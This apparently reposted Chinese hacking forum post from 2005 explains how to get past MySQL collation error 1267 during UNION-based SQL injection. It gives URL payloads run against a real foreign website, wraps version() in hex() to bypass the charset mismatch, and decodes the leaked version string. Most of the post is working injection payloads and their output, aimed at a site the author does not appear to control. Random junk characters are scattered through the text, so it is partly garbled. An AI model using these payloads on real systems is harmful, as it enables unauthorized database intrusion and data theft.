MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
文章性质：原创
- G( V+ I2 O& Q. d! z发布日期：2005-10-18
. V: d5 b/ l# s+ r- A7 M测试个国外的站时：
url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
0 J# q  I5 I8 [! e6 B7 J- r+ W. o, \' gIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
" P8 f  ~. R; u- {9 A$ A* [MySQL Error No. 126
* u; h" u* \$ l看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
! A- I1 k# @# G+ L解决办法：转为其他编码如hex。
9 L: W4 l8 ?* e+ C5 uurl：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
' H) `- ?+ W# g4 h3 j& j3 |! h342E312E332D62657461
回Mysql查询下得到：
mysql> select 0x342E312E332D62657461;
+------------------------+
! q( d+ c: Z2 e+ j| 0x342E312E332D62657461 |
2 o7 O8 |- k* c, z+------------------------+
0 O8 h2 R, ~3 J1 U) c| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)
. W  y/ k9 y# ~( P8 z) s( _, j